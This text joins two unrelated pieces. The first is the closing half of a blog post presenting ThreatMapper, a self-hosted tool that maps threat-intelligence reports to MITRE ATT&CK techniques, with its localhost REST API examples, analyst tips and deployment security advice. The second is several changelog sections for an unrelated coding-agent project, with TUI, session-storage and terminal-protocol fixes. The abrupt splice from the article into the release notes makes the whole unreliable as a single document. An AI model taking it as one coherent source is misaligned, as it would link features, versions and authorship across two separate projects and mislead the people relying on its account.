Each campaign card shows the date range, technique count, and ATT&CK ID. Click to expand and see the full technique list with the use description from STIX.

The “Add to my TTPs” button on each campaign card pushes all of that campaign’s techniques into your Navigator layer — useful for building a “this specific operation’s TTP fingerprint” layer to compare against your detection coverage.

DB 2: Your Report Library

Every time you run an AI analysis in ThreatMapper, the result is stored: the extracted techniques, the summary, the APT matches, and the provider/model used. DB 2 is this library of past analyses.

Access it via Compare → Reports (DB 2).

The left panel lists every completed report session with:

• Name (the filename or label you gave it when you uploaded)
• Technique count
• Domain
• Provider and model used
• Date

Click any report to run a fresh Jaccard comparison of that report’s extracted techniques against all ATT&CK groups. This answers: “If I come back to this report from three months ago — which groups match its TTP profile?”

This is useful in a few scenarios:

Retrospective attribution: You analysed a report before you had a strong hypothesis about the actor. A new ATT&CK version was released that added new groups or techniques. Rerun the comparison against the updated ATT&CK data without re-running the expensive LLM analysis.

Cross-incident correlation: If two reports from different incidents both have high similarity to the same APT group, that’s a data point for clustering the incidents under the same actor.

Building a baseline: Accumulate 20 reports over a quarter. In the Reports library you can see at a glance which groups are recurring themes across your incident set — a form of environmental threat profiling.

The three Compare modes

ModeWhat you compareAgainstGroups (DB 1)Your selected TTPs (from Navigator)All 174+ ATT&CK groupsCampaigns (DB 1)Your selected TTPs (from Navigator)All named MITRE campaignsReports (DB 2)A stored report’s extracted TTPsAll 174+ ATT&CK groups

Use the mode switcher at the top of the Compare page to move between them.

API for both databases

Compare against campaigns:

curl -X POST "http://localhost:8000/api/apt/campaigns/compare?domain=enterprise-attack&top_n=10" \
  -H "Content-Type: application/json" \
  -d '{"technique_ids": ["T1566.001", "T1059.001", "T1078", "T1021.001"]}'

List your stored report sessions:

curl "http://localhost:8000/api/analyze/sessions?limit=20" | python -m json.tool

Re-compare a stored report:

SESSION_ID="550e8400-e29b-41d4-a716-446655440000"
curl -X POST "http://localhost:8000/api/analyze/sessions/$SESSION_ID/compare?top_n=10"

List campaigns for a specific group:

curl "http://localhost:8000/api/apt/campaigns?domain=enterprise-attack&group_id=G0016"

Generating Reports

ThreatMapper generates two types of PDF reports.

Analysis report

From the Analyze page, after a completed analysis, click Download PDF. The report is formatted for sharing with management or a client and includes:

• Cover page with provider, model, domain, session ID, and timestamp
• Executive summary (the AI-generated TL;DR)
• Extracted techniques table sorted by confidence descending
• APT attribution section with the top 10 Jaccard matches
• Tactic coverage breakdown showing how the techniques distribute across the kill chain

Navigator layer report

From the Navigator, click ↓ PDF in the toolbar. This generates a lighter report listing all techniques in your current layer with their ATT&CK IDs, tactics, and platforms — useful as a rapid deliverable for a purple-team session or a detection engineering sprint.

Using the AI Chat Assistant

Every technique in the detail panel has an embedded AI chat. This is not a generic chatbot — it is a threat intelligence assistant with the full ATT&CK description of the selected technique already in context.

Practical prompts that work well:

For detection engineering:

“Write a SIGMA rule for detecting this technique on Windows via Sysmon events”

For understanding evasion:

“How do attackers modify this technique to avoid common detections?”

For hunting:

“What should I look for in Windows Security event logs to hunt for this technique? Give me specific event IDs and field values.”

For red teaming context:

“Which tools in the open-source red team ecosystem implement this technique?”

For correlation:

“Which techniques are commonly chained with this one in post-exploitation workflows?”

The context field at the bottom of the chat lets you paste additional information — for example, a log snippet or a list of technique IDs from your current investigation. This gives the assistant grounding in your specific situation. The context field accepts up to 8,000 characters.

Working with All Three ATT&CK Domains

ThreatMapper supports Enterprise, Mobile, and ICS ATT&CK out of the box.

Switch domains using the Domain dropdown in the Navigator toolbar or the Analyze page.

Enterprise ATT&CK — 641 techniques, 163 groups. Use for traditional IT infrastructure incidents: Windows/Linux/macOS endpoints, cloud workloads, Active Directory environments.

Mobile ATT&CK — covers Android and iOS threat behaviours. Useful for incidents involving mobile device management (MDM) bypass, spyware, or mobile-targeting APT campaigns.

ICS ATT&CK — covers operational technology and industrial control systems. Use for incidents involving SCADA, PLCs, HMIs, or critical infrastructure.

Each domain has its own set of tactics, techniques, and APT groups. When you run an AI analysis, select the appropriate domain so the Jaccard comparison runs against groups known for activity in that domain.

API Usage (Headless / CI Integration)

ThreatMapper exposes a full REST API. You can drive the entire workflow programmatically.

Analyse a report via API

curl -X POST http://localhost:8000/api/analyze \
  -F "provider=claude" \
  -F "domain=enterprise-attack" \
  -F "file=@incident_report.pdf" \
  | python -m json.tool

Response:

{
  "session_id": "550e8400-e29b-41d4-a716-446655440000",
  "provider": "claude",
  "model": "claude-opus-4-8",
  "summary": "The report describes a spearphishing campaign ...",
  "techniques": [
    {
      "attack_id": "T1566.001",
      "name": "Spearphishing Attachment",
      "tactic": "initial-access",
      "confidence": 0.95,
      "evidence": "the email contained a malicious Excel attachment"
    }
  ],
  "apt_matches": [
    {
      "group_attack_id": "G0016",
      "group_name": "APT29",
      "similarity": 0.34,
      "shared_count": 8,
      "shared_techniques": ["T1566.001", "T1059.001", ...]
    }
  ]
}

Compare a known technique set via API

curl -X POST "http://localhost:8000/api/apt/compare?domain=enterprise-attack&top_n=5" \
  -H "Content-Type: application/json" \
  -d '{"technique_ids": ["T1566.001", "T1059.001", "T1078", "T1021.001", "T1003.001"]}' \
  | python -m json.tool

Manage saved layers via API

# List all saved layers (optionally filter by domain)
curl "http://localhost:8000/api/layers?domain=enterprise-attack" | python -m json.tool
# Save a layer
curl -X POST http://localhost:8000/api/layers \
  -H "Content-Type: application/json" \
  -d '{"name": "MuddyWater Q1 indicators", "domain": "enterprise-attack",
       "technique_ids": ["T1566.001", "T1059.001", "T1078", "T1021.001"]}'
# Load a specific layer (returns technique_ids)
LAYER_ID="550e8400-e29b-41d4-a716-446655440000"
curl "http://localhost:8000/api/layers/$LAYER_ID" | python -m json.tool
# Delete a layer
curl -X DELETE "http://localhost:8000/api/layers/$LAYER_ID"

Stream an analysis (Python example)

import httpx, json
with httpx.stream(
    "POST",
    "http://localhost:8000/api/analyze/stream",
    data={"provider": "claude", "domain": "enterprise-attack"},
    files={"file": open("report.pdf", "rb")},
    timeout=300,
) as r:
    for line in r.iter_lines():
        if line.startswith("data: "):
            event = json.loads(line[6:])
            if event["type"] == "token":
                print(event["content"], end="", flush=True)
            elif event["type"] == "result":
                print("\n\nFinal techniques:")
                for t in event["data"]["techniques"]:
                    print(f"  {t['attack_id']} ({t['confidence']*100:.0f}%) - {t['name']}")
            elif event["type"] == "error":
                print(f"\nError: {event['message']}")

Keeping ATT&CK Data Fresh

ATT&CK releases new versions periodically (approximately twice a year). ThreatMapper checks for new versions daily at 03:00 UTC via a Celery Beat job.

The sidebar footer shows a pulsing amber indicator when a new version is available. Trigger an update:

# Quick API call
curl -X POST http://localhost:8000/api/sync/trigger

# Check what version you have vs what's available
curl http://localhost:8000/api/sync/status

The sync downloads only the new bundle version and ingests it alongside the existing data without deleting anything. Both versions remain queryable — endpoints accept an optional ?version=19.1 parameter to target a specific release.

Tips for Analysts

Calibrate your confidence threshold. I recommend treating < 50% confidence as noise until you validate it manually. The LLM is trying hard to find ATT&CK mappings, which means it will sometimes stretch an inference. Use the evidence snippet to sanity-check every mapping.

Use the Gap Analysis as a hunt checklist. When you match against an APT group in Compare, the Gap Analysis tab shows every technique in their known profile that you haven’t covered. This is an excellent input for a structured hunt — you’re essentially asking “what would we need to observe to confirm this attribution?”

Chain features for maximum value. The best workflow is: AI Analysis → inject into Navigator → Compare against APT groups → Gap Analysis → export PDF. Each step builds on the last.

Chat is good for detection rules. The AI assistant is particularly strong at generating SIGMA rules, KQL queries, and Splunk SPL from ATT&CK technique IDs. Give it the full ATT&CK technique description plus any specific context from your environment (OS, logging stack) and you’ll get useful starting points rather than generic templates.

Import your existing layers. If your team already maintains ATT&CK Navigator layers for your environment (e.g. a “what we detect” layer and a “what we’ve seen” layer), import them via the ↑ Import button. ThreatMapper will let you compare them against APT profiles and run AI chat against the techniques in the layer.

Save named layers as investigation checkpoints. After any significant piece of work — a completed AI analysis, a finished APT comparison session, a purple-team prep layer — click ↓ Save layer and give it a meaningful name. This takes 10 seconds and means you never lose work between sessions. You can reload any saved layer instantly from 📂 Load layer without re-running analysis.

Use text paste for quick triage. You don’t need a formatted document. Paste raw Slack thread text, a SIEM alert body, or a vendor advisory into the text box. The AI is good at extracting signal from noisy, informal text.

Security Considerations

ThreatMapper is designed for internal/intranet use. It has no built-in authentication — anyone who can reach the Docker network can use it.

For a team deployment:

1. Set a strong DB_PASS in .env
2. Put ThreatMapper behind nginx / Caddy with TLS and HTTP Basic Auth (or integrate with your identity provider via OAuth)
3. Run the Docker containers on an internal network that is not directly internet-accessible
4. The .env file containing your LLM API keys should have chmod 600 and never be committed to git

Your threat intelligence reports are stored in PostgreSQL inside the Docker volume. If you need to comply with data handling policies, deploy ThreatMapper on infrastructure that meets those policies — since it’s self-hosted, you retain full control.

What’s Coming Next

The tool is functional but there is plenty of room to grow. Things I’m actively thinking about:

• TAXII/STIX import — accept threat intelligence directly from TAXII feeds (MISP, OpenCTI, commercial CTI platforms)
• Team collaboration — shared TTP layers with user namespacing
• Detection coverage overlay — import your existing SIGMA rule library and visualise which ATT&CK techniques you have coverage for vs which are blind spots
• Automatic APT tracking — when ATT&CK releases a new version that adds techniques to a group you’re tracking, send a notification

Final Thoughts

The core idea behind ThreatMapper is that the heavy lifting of ATT&CK mapping — reading a report, recognising a technique, looking it up, comparing it — is exactly the kind of repetitive, pattern-matching work that LLMs are well-suited for.

The analyst’s judgement is still essential: deciding which mappings to trust, what the attribution implications are, what to do about the gap analysis. But the mechanical translation layer — text to ATT&CK IDs — should not take most of your time.

ThreatMapper tries to handle that translation layer so you can spend your time on the interesting parts.

The project is open source under the MIT licence. If you find it useful, have feature requests, or find bugs, open an issue on GitHub.

GitHub: https://github.com/anpa1200/threatmapper
API Docs: http://localhost:8000/docs (after starting with docker compose up)

ThreatMapper uses the MITRE ATT&CK® framework. ATT&CK is a registered trademark of The MITRE Corporation. This project is not affiliated with or endorsed by MITRE.

Follow for practical cybersecurity research

If you’re interested in Offensive security, AI security, real-world attack simulations, CTI, and detection engineering — this is exactly what I focus on.

Stay connected:

→ Subscribe on Medium: medium.com/@1200km
→ Connect on LinkedIn: andrey-pautov
→ GitHub — tools & labs: github.com/anpa1200
→ Contact: 1200km@gmail.com

Andrey Pautov

ThreatMapper: I Built a Self-Hosted AI Threat Intelligence Platform — Here’s How to Use It was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Fixed

• Fixed MiniMax-compatible OpenAI-completions hosts (e.g. minimax-code-cn/MiniMax-M3) losing tool-call arguments when the stream delivers function.arguments as a complete object instead of the OpenAI JSON-string contract. The streaming buffer previously concatenated the object into a string, coercing it to [object Object] and leaving bash/edit calls with empty or malformed inputs; the tool-call block now holds the object payload directly. (#1776)
• Fixed Cloud Code Assist (Gemini / Antigravity) rejecting tool schemas with Invalid JSON payload received. Unknown name "propertyNames" (HTTP 400) when a tool exposed a property literally named properties (e.g. the Resend MCP create_contact tool). The schema normalizer's insideProperties flag was re-asserted when descending into such a property's value schema, so Google-unsupported keywords (propertyNames, additionalProperties, …) nested inside it were never stripped. The flag is now only set when entering a real properties map from a schema node, not from within another properties map.
• Fixed local/self-hosted providers leaking machine-specific endpoints into the bundled models.json. A generate-models run on a machine with a LiteLLM proxy baked 1202 litellm models pinned to http://localhost:4000/v1 into the committed catalog. litellm (and lm-studio) now join ollama/vllm in the generator's discovery-only exclusion set, so local providers are never fetched during generation nor written to models.json — they are discovered dynamically at runtime instead. LiteLLM model discovery now enriches metadata against models.dev (the same reference source the other gateway providers use) rather than a bundled reference map. Added a regression test pinning the invariant (no local provider blocks, no loopback/private-network baseUrls in the bundled catalog).

@oh-my-pi/pi-coding-agent

Breaking Changes

• Removed synchronous readTextSync from SessionStorage and core implementations (MemorySessionStorage, FileSessionStorage, RedisSessionStorage, SqlSessionStorage), requiring callers to use async text reads
• Replaced the public SessionStorage readTextPrefix(path, maxBytes) and readTextSuffix(path, maxBytes) methods with readTextSlices(path, prefixBytes, suffixBytes): Promise<[string, string]>; custom session storage backends must implement the new combined slice API.

Added

• Added env-driven OpenTelemetry trace export. When OTEL_EXPORTER_OTLP_ENDPOINT (or OTEL_EXPORTER_OTLP_TRACES_ENDPOINT) is set, omp registers a global OTLP/proto trace exporter and switches on the agent loop's telemetry, so the invoke_agent / chat / execute_tool spans actually reach a collector instead of a no-op tracer. Honors the standard OTEL_* env contract (endpoint, headers, OTEL_SERVICE_NAME, OTEL_SDK_DISABLED and OTEL_TRACES_EXPORTER=none parsed case-insensitively) and the OTEL_INSTRUMENTATION_GENAI_CAPTURE_MESSAGE_CONTENT capture toggle; it is a no-op when no endpoint is configured. Only the http/protobuf transport is supported — a grpc or http/json OTEL_EXPORTER_OTLP*_PROTOCOL declines rather than misrouting spans. This makes the existing telemetry usable from headless hosts that run omp as a spawned child process, where an in-process TracerProvider registered by the parent can't reach the child. Uses the @opentelemetry/exporter-trace-otlp-proto 2.x line, which exports cleanly under Bun.

Fixed

• Fixed the status line session name (and the editor border / status-line gap fill) being nearly illegible on light themes.
• Added IndexedSessionStorage and SessionStorageBackend exports to support shared metadata-indexed session backends
• Added the tui.maxInlineImages setting (default 8) capping how many inline images render as live terminal graphics. Once a new image pushes the count past the cap, the oldest images are hidden via a full redraw — replaced by their [Image: …] text placeholder and purged from the terminal's graphics store — so long sessions with many screenshots/diagrams stop piling up images (and, on Kitty, stop leaving scrollback ghosts). Set to 0 to keep every image inline.
• Added a "View: terminal state" item to the /debug menu that prints the detected terminal, live geometry and cell size, multiplexer, and the negotiated subprotocols actually in use — graphics (Kitty/iTerm2/Sixel), desktop notifications (BEL/OSC 9/OSC 99, plus whether OSC 99 was confirmed via a device-attributes probe), OSC 8 hyperlinks, 24-bit color, DECCARA rectangular-SGR background fills, and DEC 2026 synchronized output — alongside the scrollback-clear strategy (CSI 22 J vs CSI 2 J redraw / ED3 eager-erase risk) and the raw TERM/TERM_PROGRAM/COLORTERM detection signals.
• Added a "Test: terminal protocols" item to the /debug menu that renders one live sample of every special escape protocol the renderer can emit — SGR text attributes (bold/italic/underline/strikethrough/inverse/dim), themed and 24-bit truecolor, OSC 8 hyperlinks, OSC 66 text sizing (large text), and an inline graphics swatch via the active image protocol (Kitty/iTerm2/Sixel, with a text fallback) — and fires a desktop notification, so you can eyeball which protocols the current terminal actually honors. The sample image is a gradient PNG generated in-process, so the graphics test needs no asset on disk.
• Added the tui.textSizing setting (default off) that renders Markdown H1 headings at 2x scale via Kitty's OSC 66 text-sizing protocol. It replaces the undocumented PI_TUI_TEXT_SIZING env var with a real setting, and only takes effect on Kitty terminals (where OSC 66 is implemented) — it is ignored everywhere else so headings never emit raw escape bytes.
• Added a lifecycle status to the /resume session picker. Each session's tail (last 32 KiB) is now read alongside the existing header window in a single pass, and its final message classified as done (the agent ended its turn and yielded control back), interrupted (a trailing tool call or tool result the loop never continued from), aborted, error, or pending (a trailing user message with no reply). The status renders as a colored segment on each session's metadata line. When the final message is larger than the tail window the status is omitted rather than guessed.
• Added support for disable-model-invocation: true frontmatter field from the Agent Skills standard. Skills using this field are now hidden from the system prompt listing, matching the behavior of hide: true.

Changed

• Changed the task tool description to tag read-only agents and explicitly forbid assigning them file edits/commands or offloading reasoning to quick_task/explore.
• Changed Redis and SQL session storage initialization to load only indexed metadata (size, mtimeMs) instead of full session content
• Changed SessionStorage read paths to rely on backend-backed metadata/indexed storage, so session content is fetched on demand rather than cached as full in-memory mirrors
• Changed session-list slice reads to go through SessionStorage.readTextSlices across all backends, removing the file-only single-open branch and caller-managed buffers. FileSessionStorage now reads both windows via peekFileEnds, while Redis and SQL backends encode session content once per combined read.
• Changed the ask tool transcript renderer to mark single-choice questions with circular radio glyphs (○/◉) instead of the rectangular checkbox glyphs (☐/☑) it shares with multi-select questions, so a "pick one" combo box visually reads as a radio group rather than a checklist. Multi-select questions keep checkboxes. Added a radio.selected/radio.unselected symbol pair across the unicode, nerd-font, and ASCII presets.
• Changed the ask tool transcript renderer to mark the chosen answer inside the question form rather than re-listing the questions in a detached summary block below it. Once a question is answered, the standalone prompt preview is dropped and the result redraws the same form — every offered option still shown, with the selected one(s) filled in (◉/☑, highlighted) and the rest dimmed (○/☐); custom free-text answers and cancellations render in place as the final entry. This removes the duplicate question/option listing that previously appeared once as the call preview and again as the result.
• Changed task-completion and ask desktop notifications to structured terminal notifications (title, body, type, and a focus-on-click action). On Kitty these render through OSC 99 as a proper title/body with click-to-focus; terminals without confirmed OSC 99 support collapse them to the previous single-line message (BEL/OSC 9).
• Updated the "each kitty/tmux split" tip to include cmux.

Fixed

• Fixed tiny-model startup in compiled binaries by resolving @huggingface/transformers and its runtime dependencies from the installed cache using package.json exports/main metadata, preventing module-resolution failures when launching models
• Fixed tiny runtime installation flow in compiled binaries by using the build-time resolved @huggingface/transformers version and ensuring the runtime lock directory’s parent exists before acquiring the install lock, preventing mismatch and setup failures on fresh installs
• Fixed the terminal protocol debug probe reusing one stable Kitty graphics id across repeated panels, which could move/replace an earlier swatch instead of rendering a new one.
• Fixed selector dialogs (the ask tool, hook prompts) collapsing to a single visible option on shorter terminals when options carried long descriptions: the highlighted option's wrapped description consumed the entire row budget, hiding every other option and making the menu feel unnavigable (down moved the lone visible entry, left/right did nothing). When the fully-expanded list overflows, HookSelectorComponent now renders a compact list — every option label stays on screen and only the highlighted option expands its description, truncated to the remaining rows — so the whole menu is always visible and the detail pane follows the cursor.
• Fixed read failing with "Path not found" on web URLs whose scheme // collapsed to a single / (e.g. https:/github.com/...), which happens when a URL is routed through Node's path.normalize/path.resolve. The fetch URL recognizer now accepts a single-slash scheme and repairs it back to // before fetching, so collapsed URLs resolve instead of falling through to filesystem lookup.
• Fixed subagent slow-model priority falling through to older Claude Opus aliases when Opus 4.8 is available by adding Opus 4.8 and 4.7 aliases ahead of older Opus fallbacks (#1753).
• Fixed the web-search provider selectors in TUI settings/setup to derive from the shared provider metadata, so newly added providers cannot be omitted from the preference list.

@oh-my-pi/pi-natives

Fixed

• Bounded sorted glob() scans to maxResults during uncached traversal and emitted onMatch callbacks only for entries admitted to the bounded top-maxResults heap so broad OMP find progress and timeout partials stay consistent with the returned mtime-ranked set while keeping parent-process memory bounded (#1761).
• Fixed wrapTextWithAnsi hanging (infinite loop) on text containing a BEL-terminated string escape — DCS/SOS/PM/APC (ESC P/ESC X/ESC ^/ESC _) closed by BEL instead of ST. ansi_seq_len_u16 only accepted the ST (ESC \) terminator for these (OSC already accepted both), so a BEL-terminated APC such as the TUI cursor marker (ESC _ pi:c BEL) was left unclassified: it was miscounted as visible width and break_long_word's non-ESC scan could not advance past the ESC, spinning forever. The terminator set now matches OSC (ST or BEL), and break_long_word defensively emits and steps over any escape it cannot classify so a malformed/unknown sequence can never wedge the wrap loop.

@oh-my-pi/swarm-extension

Fixed

• Fixed swarm /swarm run failing with authStorage/modelRegistry identity error (#1472)

@oh-my-pi/pi-tui

Added

• Added Kitty CSI 22 J screen-to-scrollback clears for non-destructive full paints, while keeping ED3 for destructive history/session rebuilds.
• Added Kitty OSC 99 rich notification formatting and startup capability probing.
• Added Kitty OSC 66 text-sized Markdown H1 headings (2x scale) plus native text-width support for OSC 66 spans. Off by default and gated to Kitty (the only terminal implementing OSC 66) via the TERMINAL.textSizing capability; hosts enable it through setTextSizing.
• Added Kitty Unicode placeholder image rendering (U=1 + U+10EEEE with explicit row/column diacritics): inline images are drawn as real text cells that carry the image id in their foreground color, so they survive horizontal slicing, reflow, and overlapping draws instead of relying on cursor-positioned a=p placements. Enabled by default on Kitty-family terminals; opt out with PI_NO_KITTY_PLACEHOLDERS=1, and falls back to direct placement when a grid exceeds the diacritic table's addressable range.
• Added Kitty temp-file image transmission (t=t): on local sessions, decoded PNG bytes are written to a tty-graphics-protocol temp file and the path is sent instead of in-band base64, gated behind a startup a=q,t=t support probe. Controlled by PI_KITTY_IMAGE_TRANSMISSION=direct|temp-file|auto; disabled over SSH unless explicitly forced.
• Added DECRQM capability detection for DEC private modes 2026 (synchronized output) and 2048 (in-band resize). Synchronized-output paint wrappers are dropped when the terminal reports 2026 unsupported (preserving the PI_NO_SYNC_OUTPUT override), and DEC 2048 in-band resize is enabled when supported — reported geometry and cell pixel size are updated from CSI 48 ; rows ; cols ; yPx ; xPx t reports, with SIGWINCH and CSI 16 t kept as fallbacks.
• Added an injectable render scheduler for TUI tests, allowing deterministic render drains without patching global clocks or event-loop timing.
• Added ImageBudget, an inline-image cap that keeps only the most recent N images as live terminal graphics and demotes older ones to their text fallback. Once a new image pushes the count past the cap, the renderer hides the oldest via a full redraw plus an explicit Kitty graphics purge (a=d,d=I) — text-clear escapes (CSI 2 J/CSI 3 J) do not remove Kitty images. Configure the cap via TUI#setMaxInlineImages (0 disables it).
• Changed Kitty inline images to a transmit-once + placement scheme: the base64 data is sent a single time (a=t) keyed by a stable image id, then every repaint emits only the tiny placement (a=p,i=…,p=…). Repaints — including full redraws — no longer re-send image data or stack duplicate placements, and the diff/line buffers and render caches hold short placement strings instead of multi-KB base64. The ImageBudget doubles as the transmit store (it tracks which ids are loaded and re-transmits after a purge frees the data). iTerm2/Sixel, which have no addressable image store, keep sending inline data as before.
• Added a renderer-level DECCARA rectangular-SGR optimizer that paints solid background panels/rows (Box/Text/Markdown fills, status bars, any full-width theme.bg row) as a single coalesced rectangle escape (CSI 2*x / CSI Pt;Pl;Pb;Pr;<sgr>$r / CSI *x) instead of emitting a full-width run of background-styled spaces on every visible row. It operates at emit time on the final ANSI strings — components are unchanged — and strips only trailing padding it can prove sits under a single non-default background span, coalescing vertically adjacent identical fills into one rectangle and falling back to the original bytes whenever the rectangle would not save bytes. Enabled only on Kitty, which implements the SGR-background extension (docs/deccara.rst); Ghostty is intentionally excluded because its CSI $r is unimplemented (ghostty-org/ghostty#632) and would drop the background entirely. Scrollback-bound rows and the append/scroll paths always keep the padded representation so native history preserves colored cells, and the PI_NO_DECCARA kill switch (plus tmux/screen/zellij detection) forces the fallback.
• Added CMUX_SURFACE_ID environment variable support to getTerminalId(), so cmux terminal surfaces get a stable identifier alongside kitty, tmux, macOS Terminal.app, and Windows Terminal — enabling per-surface session breadcrumbs for omp -c in cmux.

Changed

• Changed TUI tests to use Ghostty's VT engine (ghostty-web) instead of @xterm/headless.
• Changed the default inline-image live graphics budget from 3 to 8 images.

Fixed

• Fixed the DECCARA background-fill optimizer rejecting or repainting the wrong cells when a trailing fill crossed from default-background spaces into colored spaces.

• Fixed DEC private-mode reports with DECRPM status 3/4 being treated as unsupported, so permanent 2026/2048 reports stay recognized.

• Fixed OSC 66 text-sizing width and slicing edge cases, including ZWJ emoji payloads and partial slices through scaled spans.

• Fixed focused Input components following TUI#setShowHardwareCursor, so single-line prompts render either the terminal cursor or software cursor consistently with the editor.

• Fixed the DECCARA background-fill optimizer painting fills on the wrong rows ("split into unaligned halves") in the differential repaint path. When a diff grew the transcript past the viewport, writing the rewritten rows scrolled the terminal, but the absolute DECCARA rectangle coordinates were derived from the pre-scroll viewport top, so every fill landed scrollAmount rows too low while the relatively-positioned text settled correctly; rows scrolled into history were also shortened, dropping their background padding from native scrollback. Rectangles now target the post-scroll rows and only rows remaining in the final viewport are optimized.

• Fixed native scrollback desynchronization after terminal width or height changes reflowed overflowing content while the viewport was not at the bottom

• Fixed a notification chip (or any injected block) rendering on top of an actively streaming tool render on ED3-risk terminals (Ghostty/kitty/Alacritty/iTerm2). While a foreground tool streams, its header's elapsed-time counter ticks every frame; once output scrolls the header above the viewport top, each tick is an offscreen edit that — because the eager scrollback-rebuild opt-in is gated off on these terminals — repaints the viewport in place and advances the rendered line count without committing the new overflow to native history. #scrollbackHighWater then lagged the logical viewport top, so a later content shrink whose changes landed in the visible region slipped past the shrink-across-boundary guard and reached the differential emitter, which is anchored to #maxLinesRendered - height: it rewrote only the suffix, dropped the newly exposed top row, and left a blank at the bottom, drifting every row below the edit one line up so it painted over the rows above. Such shrinks now re-anchor the bottom of the viewport with a non-destructive repaint, and the foreground-streaming shrink-across-boundary case repaints the live tail instead of padding and pinning the pre-shrink viewport.

• Fixed a terminal resize during foreground-tool streaming on an unknown-viewport / ED3-risk host (Ghostty/kitty/Alacritty/iTerm2/WSL) leaving native scrollback permanently out of sync, so scrolling back after the turn showed missing rows. A pure geometry resize (no content change) takes the in-place viewport-repaint path, which — unlike a content-bearing resize that rebuilds via the geometry branch — never flagged native history. Because the prompt-submit checkpoint (refreshNativeScrollbackIfDirty) only rebuilds when scrollback is marked dirty on these hosts, the discrepancy was never reconciled. Overflowing geometry repaints whose viewport is not known to be at the bottom now mark scrollback dirty so the next checkpoint rebuilds an exact copy of the transcript.

@oh-my-pi/pi-utils

Added

• Added color helpers colorLuma (perceptual luma), relativeLuminance (WCAG, linearized sRGB), and hslToHex to the color utilities. The luminance helpers parse #rgb/#rrggbb hex and 256-color palette indices, returning undefined for unparseable values.

• Added peekFileEnds, a single-open head-and-tail file peek helper that reuses the head bytes for the tail when the file fits the head window.

• Added peekFileTail, the tail mirror of peekFile: reads up to the last maxBytes of a file ending at EOF, reusing the same pooled-buffer strategy (no per-call allocation for small reads).

What's Changed

• fix(search): default paths to workspace root instead of hard-failing by @GratefulDave in #1808
• fix: recognize disable-model-invocation from Agent Skills spec by @fabkho in #1803
• fix(coding-agent/mcp): handle async broken-pipe rejections in stdio transport by @VoidChecksum in #1783
• Fix slow agent Opus priority by @daandden in #1754
• fix(swarm): remove redundant authStorage discovery from swarm pipeline (#1472) by @WodenJay in #1726
• Fix web search provider TUI options by @daandden in #1685
• Add cmux terminal surface detection to getTerminalId by @basedcorp99 in #1702
• fix(natives): bound sorted glob scans by @roboomp in #1762
• fix(tui): cap session accent luminance on light themes by @paweljw in #1715
• feat(coding-agent): env-driven OTLP trace export for headless hosts by @cgreeno in #1797

New Contributors

• @GratefulDave made their first contribution in #1808
• @fabkho made their first contribution in #1803
• @WodenJay made their first contribution in #1726
• @paweljw made their first contribution in #1715
• @cgreeno made their first contribution in #1797

Full Changelog: v15.8.3...v15.9.0

Fixed

• Fixed llama.cpp/OpenAI Responses parallel tool calls losing arguments when function_call_arguments.done events omit output_index and item_id, by routing those identifierless final-argument events through the open function calls in item order. (#1970)
• Fixed local Ollama (openai-responses) turns failing with HTTP 400 invalid reasoning value: "minimal" when a discovered model ran with minimal (or xhigh) thinking. Ollama's OpenAI-compatible reasoning.effort only accepts high|medium|low|max|none, so discovered reasoning-capable Ollama models now carry a compat.reasoningEffortMap remapping minimal → low and xhigh → max; non-reasoning models are left untouched.

@oh-my-pi/pi-coding-agent

Added

• Added timeout-pause and timeout-resume eval bridge status events emitted around agent()/llm() operations
• Added a /copy picker: /copy now opens a fullscreen, outlined tree of recent assistant messages with their code blocks nested beneath (like /tree). Navigate with ↑↓, and Enter copies the highlighted node — a whole message, an individual code block, "All N blocks", or a bash/eval command interleaved with the assistant turn that issued it. A live preview pane shows the selected target, wrapping prose and syntax-highlighting code/commands.

Changed

• Changed eval timeout accounting so delegated bridge calls now suspend the cell watchdog and start a fresh timeout window when runtime control returns
• Changed IdleTimeout to support reference-counted pauses so overlapping delegated bridge calls keep timeout paused until all calls complete
• Changed the default app.message.followUp binding from Ctrl+Enter alone to [Ctrl+Q, Ctrl+Enter] so the follow-up shortcut works in Windows Terminal, which does not deliver a distinct Ctrl+Enter event to console apps. Ctrl+Q mirrors the GitHub Copilot CLI default for the same action; existing remaps in ~/.omp/agent/keybindings.yml are untouched, and if another user-remapped action already claims Ctrl+Q, that user binding wins while follow-up keeps Ctrl+Enter. Ctrl+Q is also reserved by ExtensionRunner so an extension cannot register that chord and be silently overwritten by the built-in follow-up handler (#1903).
• Changed all scrollable TUI pickers and viewports to render through the shared ScrollView right-edge scrollbar for a uniform look, replacing their ad-hoc (N/M) / [a-b/total] text indicators (search hints and the tree filter-mode label are preserved). Covers the session/resume picker, model selector, OAuth provider selector, history search, session tree selector, agent dashboard list, extension list, user-message selector, the raw SSE debug viewer, the autoresearch dashboard overlay, and the session observer overlay.
• Changed the /model and /switch selectors to dim and skip models whose context windows are smaller than the current chat context.
• Changed /copy command targets to appear inline with recent assistant messages instead of as a separate "Last bash command" row at the end of the picker.

Fixed

• Fixed the idle Working... loader freezing on ED3-risk terminals with unobservable native scrollback by keeping foreground live-region rendering enabled from agent_start until agent_end, before the first assistant or tool event arrives.
• Fixed framed tool output blocks rendering one column inset inside tool boxes; modern bordered blocks now span the same width as legacy background-filled tool boxes.
• Fixed potential TimeoutError aborts for short timeout eval cells during long bridged agent()/llm() work where no progress events are emitted until completion
• Fixed retry recovery to allow automatic retries without switching models when retry.modelFallback is disabled.
• Fixed ttsr.enabled: false being ignored at runtime. TTSR rules were still being registered with TtsrManager.addRule and matched against stream deltas even when the global toggle was off, so disabling TTSR did not suppress rule injection or stream abort. The manager now gates addRule, hasRules, and #matchBuffer on the enabled flag, so disabling fully short-circuits the TTSR path. Condition rules fall through to the rulebook bucket instead of being silently swallowed. (#1767)
• Fixed the Python eval kernel hanging on Windows during import pandas / import numpy, with SIGINT unable to recover the cell. PythonKernel.start() spawned the runner with windowsHide: true, which in Bun maps to the Win32 CREATE_NO_WINDOW flag and detaches the long-lived child from any inherited console — so native extensions like numpy/_core/_multiarray_umath.pyd (and its bundled OpenBLAS/SLEEF thread-pool init) could deadlock inside LoadLibraryExW, and GenerateConsoleCtrlEvent-based SIGINT delivery silently became a no-op. The kernel now hides its window only when the host itself has no console to share (service / piped launch); an interactive TUI launch lets the kernel inherit the parent's console, matching the behavior of python.exe invoked from cmd.exe (#1960).
